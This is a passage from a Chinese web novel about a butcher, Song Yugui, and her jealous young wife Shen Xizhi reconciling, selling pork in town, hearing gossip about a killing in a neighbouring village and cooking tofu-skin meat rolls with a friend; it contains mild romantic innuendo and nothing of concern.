池景明都觉得奇怪,从屋里走出来,“吃饭时莫要分心,这家酒楼的菜不合胃口?” 池厢月:…… 咋说呢,和惜枝做的差远了。 过了会儿,香味实在明显,池景明也知道是怎么一回事了,有些无奈,“你平日不是喜欢上朋友家吃吗,今日怎么不去了?” 虽然每每都在他回来前赶回家,装作没吃饭的样子,但自己养的小孩,什么饭量他能不知道? 一天就吃小半碗饭还长了肉,他心里就有数了。 池厢月一惊,不知自己何时露出破绽,尴尬的冲父亲一笑,低头心虚扒饭,但不肯回屋,就着点香味吃也好啊QAQ。 第56章 池了么,你的老婆已送达 是夜,两人平躺在一张床榻上,沈惜枝本面对着妻子,可妻子却倏然转身,只用后背对着她。 她轻咬了咬薄唇,想到昨日两人的甜蜜,嘴角又不免勾出几分上扬的弧度来。 本来她们已经和好了,妻子还说,很喜欢她。 她原先不信的,可现在,有几分想要信她。 沈惜枝用白嫩的指腹戳妻子后背,“妻君。” 她也不叫什么姐姐了,叫妻君更亲近些。 宋渝归起初不理她,被戳了好几下后才不耐烦又不情愿回,“干嘛!” 沈惜枝听她语气如此,抿了抿唇,凑近她的后背,两团雪白柔软几乎贴在她身上,为了防止床单湿了,那团东西也还塞着。 她软声,小心翼翼,又满含期待问,“妻君昨日说了很喜欢我,是真的吗?” 她太需要这个答案了,作了这般久,不就是想得妻子的喜欢吗? 宋渝归一顿,本来想赌气说假的,到底考虑了一下沈惜枝敏感多思的性子,她若真这样说,小姑娘怕是要泪洒当场,哭给她看,日后又会如今日一样,疑神疑鬼。 这她可应付不来。 宋渝归想到这般场景,很是头疼了一下,最后背对着她抿了抿唇,语气还是有点不高兴,闷闷道,“是真的。” 身后人眼眸骤然一亮,乖乖依着妻子,抱住妻子腰的手也一点点收紧了,又问,“不会骗我吗?” 宋渝归:…… 气的冷笑,“你以为谁都跟你一样是个小骗子?!” “真是懒得理你,放开,睡远一点。” 她生气的将沈惜枝抱着她腰的手解下扔到一边,嘴里还嘟囔了一句,“就不该理你。” 见她这态度,沈惜枝心里哪还有什么疑虑啊,眼眶红红的立马又贴回去抱紧了她。 “不要不要,我要和妻君睡在一起,不要睡远一点,我以后再也不胡说八道了。” 小姑娘心里激动的都要哭了,但没有表现出来。 她真的真的,很喜欢渝归姐姐。 这辈子第一次喜欢的人也同样很喜欢她,于她而言,是最好的恩赐。 “呵,我不信,这句话你说过很多次了!” 小姑娘着急,恨不得发誓给她看,“是真的,这次是真的,我以后真的不会乱想了,我若再乱想,你就打我!你不是很喜欢打我,打我屁股吗,我随便你打好不好?” 说到最后,她声音变得十分羞涩软糯。 听的宋渝归默默睁大眼睛,不是姐妹儿,古代的小姑娘家家也喜欢把屁股二字挂在嘴边吗? 你,你这样淑女吗? 而且,谁喜欢打你屁股了! 我那是在惩罚你,无缘无故谁要打你屁股! 你你你,又给我泼脏水! 宋渝归冷脸。 但好歹没有拒绝身后女子贴上来的举动。 沈惜枝见状,明知她心软,心中便是一喜,抱着她的腰蹭啊蹭。 美滋滋说,“以后我什么都不想了,就和妻君好好过日子,好不好?” 宋渝归这才开口,带着冷嗤,“呵,你能什么都不想?那太阳真是打西边出来了。” 枝枝心虚,身子又继续蹭着,棉布团好像湿了很多,“那,那以后我再乱想,就跟你说嘛,不会偷偷给你定罪了。” 说起来这事闹成这样,都怪她发现妻君不喜欢她之后便认定了妻君仍喜欢宋姑娘。 她是没有得过妻君喜爱的女子,可宋姑娘不同。 沈惜枝无法想象,她这么好的妻子,曾经对旁的女子求而不得,日日讨好,给她送首饰,守在田野间一待便是一整日,只为了可能见她一面。 太嫉妒了啊,她被嫉妒冲昏了头脑,才犯下大错。 可现在,妻子不仅对她也这般好,还说,还说很喜欢她,她也得到妻子的喜欢了,为何要去嫉妒旁人? 不需要的,同样是喜欢之下,妻子明显待我更好些。 沈惜枝依着宋渝归单薄的后背,刚得了一句喜欢胆子就大起来,不满的小声逼逼,“你之前还说我是朋友。” 若是在昨日,她问出这句话,宋渝归更多的会是心虚,会急忙去哄人,会抱着她告诉她那是自己没有明确心中所想,是胡言乱语的,但今天,她非常理直气壮,“哼,我说了又怎么样?” 她就是昨日才明了心意的啊! 沈惜枝见她强势,不敢与她挣,委委屈屈缩着小脑袋,瘪了瘪嘴,“不,不怎么样。” 妻君凶。 屋内再次安静下来,两人都不再说话,明日还要早起,再多说两句可真不起来了。 宋渝归平心静气,很快便睡着了。 沈惜枝不愿在家里待着,早早与妻子一同睡下,第二日妻子一动她就醒了,迷迷糊糊去拉妻子小手。 “唔,渝归姐姐要走了吗?” “嗯。” 昨晚睡觉时两人是背对着的,但是早上一起来,沈惜枝便出现在她怀里了,还睡在外侧,显然是半夜自己跑过来滚进去的。 无语! 她刚醒时意识模糊,正要下意识困得抱着妻子在床上滚两圈,忽而想起昨日的事,又故作冷淡,回复都极简短,只从鼻腔里出来的一个字。 沈惜枝也不介意,吭哧吭哧一同爬起来,“那我也要去,我和渝归姐姐一起去。” 宋渝归冷脸,“不要,我不和你一起去。” 沈惜枝下床的动作一顿,粉白脚趾微微蜷了一下,神态再委屈不过,鼓着腮帮子,水泠泠的大眼睛可怜兮兮望着她,“为什么。” 为什么不和我一起QAQ。 “哼,大早上的你跟去干嘛,宋姑娘还没起床呢,你放心,我现在出去见不着她。” 沈惜枝一愣,接着眉眼便有些紧张,生怕被误会,急于为自己解释,“我不是,我不是担心你会和宋姑娘见面,没事的,就算你以后跟宋姑娘见面说话,我也不会再生气了。” 不会再那样吃醋,认为自己不得她喜爱了, “那我也不带你去。” 她像是在赌气,拒绝的很快。 沈惜枝怒,睁着水灵灵的大眼睛,“为什么,以前我们都是一起去的!” “以前你还比现在听话呢。” 沈惜枝又猛然噤声,一被夸夸就十分害羞,扭扭捏捏,“我,我现在也很听话的。” “呵” 什么都不用说,她只想冷笑。 沈惜枝听出这声冷笑的意味,不高兴的小脸皱巴巴。 还是生我的气吗,可是我会很乖的,我以后什么都听妻君的话。 所以,不要再生气了。 沈惜枝咬着娇嫩唇瓣,小心的看妻子一眼,见她不为所动,一脸冷漠,心中便有些堵着一口气了。 “不去就不去,哼。” “嗯,我走了,记得吃早饭。” 她不留在家里吃早饭,打算去镇上买个肉包子吃。 沈惜枝气呼呼又躺回床上,屋里寂静无声,她已经出去了。 躺了会儿,身子便默默往后移,睡到妻子睡过的地方,那里尚有余温。 宋渝归昨日花了许多钱想回去哄老婆,连猪肉都没卖完,结果老婆没哄成把自己气够呛,钱也白花了,一边交钱买猪一边心里不甘不愿的。 最近天气并不好,她到镇上时便又下起了绵密小雨,宋渝归捧着刚出炉的两个热乎包子啃,心想一会儿需得去买把伞了。 因为下雨,出来买菜的人并不多,但也有人问起宋渝归昨日怎么没来,她只是笑着说家中有事。 旁人无意窥探她的家事,随便问问,买了几两肉就走了。 生意开始并不是很好,昨日卖的不算多,今日更少,但昨天她精神不好,今天天气又不好,也算正常。 等雨停了,来的人就稍微多一点了。 辰时中,宋渝归坐在摊子后面,趁无人买肉,撑着额头思绪放空,忽而耳边传来熟悉的声音,唤她,“妻君!” 宋渝归震惊望去,沈惜枝本跟在池厢月旁边,此刻便如一只翩然的蝴蝶,小跑着向她而来,直至奔进她怀里。 她下意识将人一把揽住,下意识往下面看了一眼,行动这般自如,没塞着了? 沈惜枝不知为何,看明白了她这一举动,顿时娇羞的捶她一下,“我怎可能在外面也,也那样!” 哦…… 宋渝归明白了,昨日是她将她弄肿了,才磨人的厉害,弄湿衣衫,现在不肿了,自然便好了。 见小姑娘脸红的几欲滴血,宋渝归默默放过这个话题,“你怎么过来了?” 沈惜枝抱着她的腰,将侧脸埋进她怀里,小声道,“不是说好给你做腐皮包肉吗,我来买腐皮。” 哦,差点忘了。 又听她轻轻责怪人,“你若是早早让我和你一起上来,我现在都买好了。” “这么早出门干嘛,松手,在街上不要搂搂抱抱。” “哦。” 沈惜枝听她又凶,委屈巴巴收了手,在她面前站好。 池厢月方才还在后面磨蹭,因昨日所闻而不好意思上前,眼下听见宋渝归训人,立马又上了。 “渝归,你别那么凶,惜枝是特意跟我上镇来找你的,念叨了你一路呢!” 宋渝归看了眼巴巴的沈惜枝一眼,又看向池厢月,“哦,那她都念叨什么了?” 说到这,池厢月眼神瞬间有点酸,“哎,自然是问我平日觉得你对她好吗,喜欢她吗,与她亲近吗,待她同旁人一样吗,惜枝脑子里都是你,你也对她好一点啊。” 她身处京城,从来没见过这般真挚专一的感情! 渝归怎么还能一见面就凶媳妇儿呢! 宋渝归又看了沈惜枝一眼,昨日都那样说了,她还是不自信,非得从旁人口中得到肯定的答案才能安心。 罢了,惜枝就是这个性子。 她没说什么,从今天赚的钱里取出一把铜钱,“去买腐皮吧,还有什么喜欢的自己买点,这是你的零花钱。” 旁边卖鱼的婶子看得有些眼热,羡慕道,“要我说啊,还是嫁去屠户家里最好,有吃不完的肉,还能有零花钱。” 于他们而言,一文钱恨不得掰两文花,哪能随便给出这样一把子钱,真让人羡慕。 宋渝归颇有些尴尬的笑了笑,将不愿收钱的沈惜枝拉过来,硬是把钱扣在她掌心。 “拿着快去,我摊子不能缺人,就不陪你去了。” 沈惜枝这才将钱收下,小脸红彤彤的冒着热气,小嘴巴粉嫩粉嫩,扭捏道,“你之前给我的钱,都还有呢,怎么又给我?” 宋渝归也是冷酷无情,想到昨日发的誓,毫不犹豫就说,“以后你想吃什么穿戴什么都要自己买,手上自然要多些银钱。” 话音刚落,她便见面前人脸色倏然一白,水眸蓦地瞠大,不敢置信的望着她,瘦弱的身形摇摇欲坠。 池厢月也瞪大眼睛,“你们昨日还没和好吗?” 她见惜枝兴冲冲要来找渝归,还以为两人该是和好了。 作为昨日争吵的目击证人,她看向心里认为的过错方,蹙眉,“你没有和渝归道歉吗?渝归素来大方,你跟她道歉了,她就不会再生你的气了。” 宋渝归:…… 女主没想到你还挺会给人戴高帽的。 她给客人砍了两根筒骨,毫不犹豫反驳,“那你真是看错我了,我生性很小气。” 她一直不是好大方人来着。 见她如此说,沈惜枝又不曾反驳,只是身形晃动,可怜巴巴的看着她,池厢月便猜到里面许有内情,惜枝许不是只做错了这件事,于是安静闭嘴了。 “快去,买完早点回家,我今日中午回不去,你不用给我留饭了。” 平时如果肉卖完的早,她便会赶回家吃午饭,但也经常赶不回去,今日看境况,多半是赶不回去了。 沈惜枝耷拉着脑袋,像是骤然被最亲近之人抛弃的小兔儿,白着小脸看她一眼,然后失魂落魄的往外走。 宋渝归见她神色异常,难免有些担忧,“池姑娘,麻烦帮我照看一下惜枝。” 话音刚落,不远处的沈惜枝就同一女子撞了一下。 宋渝归:…… 不是,姐妹你也太…… 她没工夫多想,连忙快步走过去,将身上没什么力气,无助跌倒在地的女子扶起来,低声斥她,“走路怎也不看着点,万一有马车过来呢,你也傻傻的不知道避让,直接撞过去?” 沈惜枝被训的委屈了,扭头就扎进宋渝归怀里,那被撞了一下却只是后退一步站稳的女子本还有些紧张,怕自己是要被讹钱,听对方只一味责怪她怀里的女子,便有些不好意思了,连忙道,“也是我跑的太快,撞到这位姑娘了。” 听她开口,宋渝归揉了揉怀里委屈成一团的妻子脑袋,肃着脸点点头,“我方才看见了,姑娘下次在人多的地方还是小心为好,莫要伤到无辜之人。” “啊,哦哦,好,实在抱歉。” 那姑娘红着脸离开,她本以为对方将错全怪在了跌倒女子的身上,没成想更怪罪她。 待人走了,宋渝归察觉自己衣襟湿了一小块,心中隐隐有些心疼,张了张嘴,还是没能维持,开口哄了,“好了,哭什么,又没有真的骂你,只是说你两句而已,越发娇气。” 她似乎无奈极了。 拢着人的腰身安抚轻拍。 沈惜枝本就被训的委屈,眼下得了两句哄,不由更加委屈了。 “你每次都说我,每次都那么凶的说我!” 听她重音在那么凶上面,宋渝归不免觉得好笑,揉了揉沈惜枝后脑勺,“本来就是,你走路都不看路,多危险啊,我今日不说你,难道要等出事了再说你吗?” 她试图哄人,沈惜枝还是不高兴,在她怀里扭啊扭,池厢月方才也关心的跑过来了,但见好友这副小媳妇儿做派,只觉得没眼看,扔下一句,“忽然想起来我还有点事。” 又跑了。 沈惜枝也不在意池厢月走没走,埋在妻子怀里,小声说,“我要留下来跟你一起卖肉。” “你不是要去买腐皮吗?” 又赶她走。 沈惜枝气恼的又捶了妻子一下,“我不知道在哪里卖,我要和你一起去买!” 她不要一个人去,一个人去,一个人握着钱,就愈发会想起妻君说的那些决绝话语。 明明听起来是开玩笑的,可她居然那么当真,说不给买,就真的不给买。 呜…… 枝枝难过的心里的小人都在哭了,可她不敢说出来。 不敢再要求更多,只能用一双如水秋眸,委屈的抬起望着她。 宋渝归:…… “行吧行吧,随便你,都随便你。” 宋渝归顺着她,她才扯了扯嘴角,露出一个欢欣笑容来。 又变得很乖了。 宋渝归心想,我有个喜怒无常的妻子。 她将沈惜枝牵回摊子,才猛然发现,摊子上已经站了两三个人了,都在看着她们。 我靠。 艰难露出笑容。 他们倒是没有什么恶意,见两人回来立马便笑开了。 打趣道,“这是宋屠的媳妇儿吧,又来了啊,好多天没见到你了。” 这一条街就宋渝归一个屠户,她每日风雨无阻的来卖肉,最早期还会带上媳妇儿一起,街坊邻居都认得她们了。 也知道这是一对磨镜妻妻。 本朝对女子磨镜接受度比较高,还能去官府写婚书呢,一开始知道两人是那般关系时,其他人也惊讶,但很快就适应了,偶尔过来见沈惜枝不在,会问你媳妇儿呢。 又或者沈惜枝去了谁的摊子买东西,会过来与她说笑,你媳妇儿今儿买了棉线,买了萝卜,买了鸡鸭,都是极友好的交流。 宋渝归也并不排斥。 眼下听他们问,便只是笑了笑,“她前段时间身体不好,我不放心她跟我出来。” 对面立即了然的点点头,“确实,做屠户也累,每天那么早你就出来了,那你给我来两斤肋排肉吧,我今日回去煲汤。” “好,要剁一下吗?” “剁吧剁吧,我家里的刀没你的好使。” 宋渝归利落剁了几根排骨,将其他等着买肉的人的肉也割了。 摊子一时清净下来,她忽而想起惜枝说不知道哪里有卖腐皮,顺便就问旁边卖菜之人,“婶子,您知道哪儿有腐皮卖吗?” “豆腐皮吗?” “对,就是豆腐皮。” “豆腐皮你们从这儿一直走一直走,看见的最大的鱼摊,旁儿便有个婆子在卖豆腐皮。” 宋渝归抬头看了一下路,温声道,“多谢婶子。” 随后看向一枚一枚认真数钱的沈惜枝。 桶里的钱多了不少,她把她给的零花钱又放回去了。 “我知道在哪卖腐皮了。” 她与妻子说。 可沈惜枝头也不抬,便猜出她心中所想,并拒绝,“不要,我要跟你一起去买。” 宋渝归:…… “等我这好了,估计都卖完了。” “那我也不要自己去。” 两人的对话又被左右听去了,人家取笑她们,“宋屠的媳妇儿可黏人了,以前就觉得黏人,最近这段时间没跟来镇上,还以为黏人的毛病好一点了。” 另一个又接上,“没想到吧,更黏人了。” 宋渝归:…… 你们这样我还怎么好好卖肉? 自闭。 她低头看向惜枝,发觉惜枝的小脸也红彤彤的,耳朵更是红的不能看了。 一瞧就是被人说中了,极不好意思。 见媳妇儿不好意思,宋渝归反而好多了,笑着制止,“别打趣她了,惜枝爱羞,回去要生我气的。” 沈惜枝被扣了一个大锅,顿时怒目瞪向妻子。 她的妻子却仿佛压根儿看不见一样,逼得她不得不闷闷的过去,踩了她一脚。 一点儿也不重。 宋渝归低头,只是鞋面沾了些许灰而已。 她也学着懒得抬头,直言,“踩一脚做一双新的。” 沈惜枝本就在为她做鞋,闻言只是嘟了嘟红唇,满不在意,“我给你做两双,换着穿。” 宋渝归:…… 好大方的样子。 “三双。” 还讨价还价! 又被凶巴巴瞪了一眼,不过沈惜枝也没有拒绝,只是低头继续数铜钱,并嘟囔道,“三双就三双。” 有点可爱。 宋渝归心想着。 过了会儿,她请旁边的婶子帮忙看一下摊子,便拉了拉沈惜枝的手,“走吧,先去买腐皮。” “哦。” 蔬菜总是早上买更新鲜,她想着,也买了一点蔬菜回去吃。 虽然白菜也好吃,但只吃白菜会腻啊。 “妻君,我想吃糖葫芦。” 两人走的好好的,沈惜枝忽而停下,指了指不远处卖糖葫芦的摊子。 其实更想吃那日没吃到的糖画,但她不敢说,怕又让妻君记起了不好的事。 不知只是买根糖葫芦,妻君愿不愿意…… 小姑娘一双眼睛水汪汪的,含满了期盼。 第57章 她怕我哭,直接拿捏 片刻后,沈惜枝满意的舔着糖葫芦跟在妻君身边回去了! 妻君坏坏,不想给她买,她没忍住哭了,妻君才给她买的,哼。 宋渝归在心里悄悄检讨自己,怎么她一哭你就松口,再这样下去,你什么都得听她的了! “妻君吃。” 沈惜枝将第一颗糖葫芦的糖衣舔了,酸酸甜甜的山楂也吃了,然后递到妻子面前,让她吃第二个。 宋渝归还不高兴着呢,明明想好了要生气,以后再也不给她买东西了,免得她好心当成驴肝肺,结果第一天就惨败。 她故意凶人,“吃吃吃就知道吃!” 沈惜枝:“哼!” 胆子也大了,根本不在意她那一点凶了,吃到妻君亲自买的糖葫芦,原本灰暗的几乎要下雨的心情,一下就好了,甚至十分明媚。 两人买了一些腐皮,并其他东西回去,沈惜枝就坐在后面吃糖葫芦,宋渝归在前头割肉卖肉。 眼睛不住往后瞟,见小姑娘一支糖葫芦吃完了,才开口,“你回去吧,我今天要晚一点回去了。” 沈惜枝想也不想,嘟了嘟嘴,婉拒,“不要,我要和你在一起。” “等会儿下雨了回去路不好走。” “那我也不要。” …… 算了,随便她,惜枝可能是到叛逆期了,十七岁,正是叛逆的年纪。 宋渝归心想着。 猪肉卖到中午,来往人更少了,沈惜枝托着下巴,“妻君累不累呀。” “嗯?不累。” “你坐一会儿啊,我帮你卖嘛。” “不用,你自己坐着就行,收拾一下我们等会儿去吃饭。” “哦。” 得了拒绝,沈惜枝继续拖着下巴看妻子背影。 她的妻君生的好看,眉如远山,双瞳剪水,即便是做卖肉这样的活儿,也不折她半分好看。 她的脊背明明极为纤薄,却又好像什么都能为她撑起来,不让她受一点伤害。 宋渝归将肉搬下来锁在下面的格子里,那锁还是她新买的,之前有一回肉放上头她去吃饭,结果少了几根骨头,果然是对人太信任了。 古代也没个监控什么的,丢了东西很难寻回。 后来她就弄了个小格子,买了一把锁来锁肉。 “一会儿想吃点什么?米饭还是面条。” 宋渝归随口问。 小姑娘皱着脸犹豫了一下,温声开口,“有点想吃馄饨。” “真是越来越会省钱了。” 馄饨一碗才五文钱,其余无不是十文以上的,媳妇儿越来越会给她省钱了。 沈惜枝心虚的缩了缩脖子,不敢承认,小声说,“我就是想吃嘛。” “想吃就走吧。” 宋渝归收拾好走出去,沈惜枝立马乖乖的贴上,将人的手拉过来,主动牵上去,五指相扣。 牵是她自己要牵的,牵完了害羞的也是她,小脸一阵一阵泛红。 她只是想着,从前也就罢了,可现在,妻君说过喜欢她了,她也喜欢妻君,那岂不就是两情相悦? 既是两情相悦,牵一牵有什么关系? 如果妻君不让牵,她再放手便是了! 但她会哭的。 自从被人疼宠至此,眼泪便愈发不受控制了,她会哭的,一难过就会哭,伤心也哭,好像她除了哭以外,就做不了别的任何事了。 “吃几碗?” 两人不知不觉走到了一个馄饨摊,一对公婆正在里面忙碌,宋渝归侧首问惜枝。 沈惜枝这时才微微回神,抿嘴笑,“一碗就好了,我哪吃的了这么多,妻君多吃一点。” 一碗馄饨量并不多,宋渝归点头,问婆婆要了三碗馄饨。 两人寻了个位置坐下,沈惜枝新奇的左右看看,然后依在宋渝归肩膀上,被捏了捏手指,“别这样,现在在街上,来往人这般多,你我怕是要出名了。” “哦。” 沈惜枝乖乖坐直,其实她也不好意思这样的。 小姑娘一双漂亮的眼睛扑闪扑闪,望着她时眉眼弯弯,里头的笑意再明显不过。 显然是对身边人十分爱重。 宋渝归抿了抿唇,牵着她的手愈发使了使劲儿,沈惜枝娇哼,“轻一点呀。” 声音也很甜很软。 “今日怎这样黏人。” 这还用问嘛。 沈惜枝水润双眸眨了眨,扭捏着纤细身子,十分不好意思的用气音道,“妻君昨日说喜欢我,是不是?” 声音软软糯糯。 但宋渝归甚至有些想反悔,总感觉将这一把柄递出去,以后就要被拿捏了,她顿了顿,“只是说喜欢你就这么高兴?” “嗯,你喜欢我就好了。” 她所求不多,只要喜欢的人也喜欢自己就好了。 “笨蛋。” 这么笨,难怪原著里被欺负了。 两碗馄饨端上来,升腾的热气模糊了女子眉眼,但仍能看出一方神色温柔婉约,像寻常人家贤惠的妻子一般。 原男主真是瞎了眼。 她心里默念一句,将第三碗馄饨分了几颗进沈惜枝碗里。 小姑娘瞪了瞪眼睛,抬头娇嗔的望着她,“好多,我吃不下的。” “吃不完我吃。” 宋渝归道了一句,将手中汤勺递与她,沈惜枝低下头,遮掩住唇角笑意,再没有不愿。 “是荠菜猪肉馅!” “嗯。” “好好吃。” “下次我也给你包,好吗?” 沈惜枝不复以往寡言的性子,话多的不得了,她在家里就想好了今日一定要好好哄妻子! 哄到她不再生气才行。 好不容易与妻子心意相通,她不舍得吵架呢。 “都行,我想吃饺子。” “好哦,饺子也给你包,你不是爱吃白萝卜猪肉馅儿的吗,今晚给你包好不好?” “不行,今晚我要吃腐皮包肉!你昨天才说要给我做。” 宋渝归以为她要反悔,有点儿生气,沈惜枝连忙应承,“好呀好呀,那就吃腐皮包肉,我答应给你做了,就一定会给你做的,你教我怎么做好不好?” 这还差不多。 宋渝归应了一声,也没有昨日对她那么凶了,可见发过火,气性过去了,很快就能被哄好了! 只是吃个饭的功夫,外头又下起绵密细雨来。 沈惜枝吃了很多,碗里还剩下两个,她就不想吃了,皱巴着小脸,看向妻子,小声说,“吃不下了。” 宋渝归了然,竟真将她碗里的馄饨倒入自己碗里几口吃了。 小姑娘满目羞然,纤长眼睫颤了颤,很有些不好意思看她。 两人吃完后,再一齐回去卖肉,卖到暮色升起,肉才算卖的七七八八,还剩下几块五花肉,正好回去剁碎了做腐竹包肉,多做一点,明日吃饺子。 沈惜枝进镇上来找妻子,也不是白来的,见宋渝归推车,赶紧过去握着小边边,帮忙一起推。 不让她推她还要不高兴的。 两人推着车子回村,却发现村子里好多村民都聚在外面,脸上带着不可言说谈论八卦时的专用表情,宋渝归伸长脖子看,有些好奇,发生什么事了吗? 她也不好意思直接上去问,想等过会儿出去打探一下。 村子里消息就是灵通,想当初她和惜枝在外面抱了一下,第二天就传的全村皆知了。 没道理只能别人吃她的瓜啊,她也要吃别人的! 村里气氛不对,沈惜枝也察觉了,蹙着眉凑近妻子问,“这是怎么啦,出事了?” “可能是,你别管,我一会儿去问一问。” “哦。” 她这样说,沈惜枝便乖乖听话了。 两人推着车走上小土坡,上面从上而下走来两人,都是认识的。 一个池厢月,一个宋心雨。 宋心雨看着神情有些恍惚,池厢月似乎正与她说着什么,一见到她俩,两人都不太自然。 池厢月是尴尬于昨日才知道渝归喜欢过心雨,今日又不慎让她们相见了。 宋心雨不知在想什么,眉目微凝,过了会儿,竟唇角上扬,对她露出一个笑来。 宋渝归下意识去看因对方而闹出过大动静的沈惜枝,沈惜枝眉目落寞,却第一次对宋心雨友好一笑,“宋姑娘来了,要不要进屋喝杯茶?” 宋心雨似乎有什么心事,摇摇头,同她们道了别便走了。 池厢月见她们在推车子,过来帮忙,她是习武之人,力气比较大,一下就推上去了,然后凑在宋渝归与沈惜枝中间窃窃私语,“你们知道不,今天隔壁村发生了一件大事!!!” 隔壁便是沈家村,两妻妻隔着池厢月对视一眼,宋渝归道,“进来,我泡一杯茶,一边喝一边说。” “等一下,我家有刚得的君山银针,我去拿过来,我们喝这个。” “行!” 池厢月很快就将茶拿过来了,还带了一些零嘴,说是她爹最近去了趟京城,从京城给她带的。 “吃着没有宝月阁的糕点好吃,也就勉强吃吃吧。” 沈惜枝如今对池厢月观感也好,还主动问了她晚上要不要留下来吃饭。 听到渝归要教她新的菜,这谁能拒绝? 二话不说就应了,再也不像昨日那般一到饭点就愁眉苦脸了。 她咳了两声,神色正紧起来,“你们刚回来,许不知道,隔壁村一个屠户死了!” 宋渝归顿时惊讶,挑了挑眉,“好端端怎么死了,如何死的?” 若是寻常生老病死,村里人大约不会有这等动静。 看来是死的有些问题了。 池厢月赞许的看了她一眼,“算是情杀。”? “我靠,玩的这么花?” 沈惜枝也惊讶了一下,抱着妻子手臂,檀口微张,“怎么会,是他妻子做的?” “啧啧,他还没有成婚呢,只是和心雨家私下定了婚约,但也没走过明路,三媒六礼一个都没有。” “他,他和宋姑娘有婚约?!” 沈惜枝一时被惊到,声音都忍不住大了些,被池厢月急忙嘘了两声,“我们在背后说人家的事,小点声,别被听见了。” 她又连忙缩了缩脖子,小声问,“宋姑娘……怎会与她定下婚约啊。” 她愈加心虚,原来宋姑娘已经和旁人定婚约了,她还以为宋姑娘对她的妻子…… 心中自责的情绪愈加浓烈。 池厢月摇摇头,“说是家中长辈定的,我也觉得那屠户配不上她,上回偶尔见到了,生的额……” 她沉默了一下,屋里另外两人就从她的沉默中猜到答案了。 脸色俱都有些复杂,宋渝归低头抿了一口茶,“然后呢,为何会是情杀,是谁杀的?” “咳咳。” 池厢月脸红,她也未曾婚配,说到这种事怪不好意思的,难得有些扭捏姿态,“听闻是那屠户从前时常混迹小倌馆,却又总是赊欠银钱,那小倌儿被他折腾的不行,还拿不到半分钱,今日实在忍无可忍,听他又要赊欠,在……床上就拔出簪子扎了他几下,岂料扎到脖子,当场便死了,官府的人将消息带过来时,我刚好回来,听了一耳朵。” 宋渝归与沈惜枝皆目瞪口呆,嘴巴张张合合,好一会儿才寻回声音,真炸裂啊,“那这岂不就是骗婚?他明明喜欢男子,为何要娶女子?” “哼,这我也问了,说是他家只他一个儿子,舍不得叫他与男子在一块儿,父母逼着他娶媳妇儿呢。” 宋渝归沉默了会儿,看了眼妻子,还是选择站在宋心雨这边,“活该,谁让他骗婚的,谁让他不给钱的,如此下场都是他咎由自取!” 沈惜枝这回却没有乱吃醋,跟着妻子点点头,粉嫩的小拳头握紧,“就是就是!” 接着又关切去问,“那他死了,宋姑娘是不是就不用嫁与他了?” “那是自然,再禽兽的人家也做不出让闺女嫁灵位的事吧?” 最羞人的部分过去了,池厢月开着玩笑道。 沈惜枝也没忍住抿唇笑了笑。 “我去准备晚餐,妻君教我做。” “哦,那你自己坐一会儿。” “别啊,我去给你们烧火,一个人坐多没意思。” 池厢月一开始嫌烧火呛人,但后来烧了几次,反而很能接受了,又对干活燃起了新热情。 沈惜枝怨念的悄悄瞪了她一眼,她没心没肺的,半点没注意到,但宋渝归注意到了,有些不解,直到往惜枝那素来别扭的想法上靠一靠,她才明白了。 嫌池姑娘碍事。 啧,总是小气。 宋渝归心里好像在说她不好,神情上却忍不住露出有些宠溺的无奈神色,沈惜枝只看了一眼,便挪不开视线了,一直眸光发亮盯着她瞧。 乖巧的厉害。 “你先去把腐皮打湿,我剁肉。” “哦,好。” 沈惜枝将今日新买的腐皮取出,带到院子里打了井水去弄湿,腐皮就变得软绵绵了。 还没到生火的时候,宋渝归也没让池厢月闲着,拉过来跟自己一起剁肉,两个人站在一块,肉剁的很快,宋渝归还有巧劲儿,她那边的肉比池厢月的细多了。 趁着惜枝没进来,池厢月按耐不住好奇心,悄悄问,“你以前喜欢心雨是真的还是假的啊,我怎么没看出来?” 她和两人相处时间也不短,经常带宋心雨一块儿来,只感觉到了宋渝归对心雨的疏远,什么喜欢,半分没有啊。 对于往事,宋渝归认为,不能随风!我还要坚持不懈洗刷我的名声! 她毫不犹豫斩钉截铁道,“从前我年纪小不懂事,或许做过一些错事,但现在我已经全部悔改了,池姑娘不要再提以前的事了,让人听见不好。” 她怕村里人又记起从前的原主,然后对她指指点点,那她真是比吃了苍蝇还难受。 池厢月也不是那么不懂事的,连忙点头,但她想的就完全歪了,“是因为我提起以前的事,惜枝会生气吗?” 宋渝归:…… 按理说,这样讲也没错。 但……“不要背后说惜枝。” 她话里尽显维护,就算没有诋毁,也不想和旁人在沈惜枝看不见的地方谈论她。 池厢月骤然噤声,揶揄的看着她。 “好了好了,我不说了,不然你都要心疼了。” 话音刚落,一颗小脑袋就警惕的从一旁探出来,“心疼谁???” 我妻君要,心!疼!谁! 宋渝归:…… 我就知道,不吃醋是不可能的。 她无奈的揉了揉眉心,“没心疼谁,你闲着没事去打两颗鸡蛋。” 沈惜枝瞪她,不肯走,就守在她身边,像是守护自己独有宝物的小狼崽子,露出幼嫩的尖牙,脸色竟还少见的有些凶,不过这凶是对着池厢月去的。 池厢月池鱼之殃,哪敢瞒着,见沈惜枝醋的就要将所有人淹了,连忙说,“自然是心疼你,除了你你还能有谁,我方才聊到你,渝归不许我说,我才说她心疼你的。” 沈惜枝狐疑地目光在池厢月身上来回巡视,几遍之后才信了她的话,勾唇露出甜蜜笑容,抱住妻子的手臂,将脑袋依在上面,“妻君,我泡好腐皮了!” 她又高兴起来,说过以后再也不胡思乱想的话跟放屁一样。 宋渝归满心无语看她,她对着妻子心虚一笑,讨好的抱抱她,模样倒是很可爱。 算了,与她生气被气坏的只有我自己。 这般想着,声音又默默温柔下来,“你去打两颗鸡蛋,一会儿裹腐皮。” “哦,好!” 沈惜枝取了小碗又取了鸡蛋,就站在她们旁边打,三个人将不大的堂前占的满满当当。 肉馅很快也剁好了,加了油盐酱,最后拌上小葱花,便是腐皮包肉的肉了。 只需将腐皮前后刷满蛋液,然后包进肉去,卷成一个长条就是了。 做的还挺简单。 沈惜枝乖乖看着,很快学会了,包的速度又快,包出来的成品又好看,一瞧就是十分有做饭天赋的。 宋渝归满意。 接着又说了几句做法,沈惜枝听的也认真。 一盘腐皮包肉放在米饭上蒸,一盘在锅里留了少许油,慢慢的煎,做出来滋味不同,但都闻着很香很香。 池厢月狗狗眼都出来了,没忍住艳羡道,“好想把我表妹送到你这里学做饭。” 宋渝归:你这个想法礼貌吗,和你表妹商量过吗? 两盘工序一样做法不一的菜很快便出锅了,沈惜枝抬手便要去端菜,被宋渝归打了一下,“别碰,小心烫。” “哦,好。” 宋渝归寻了两块干净的布,将盘子端进屋里。 池厢月有样学样,端完了菜就马不停蹄去端饭。 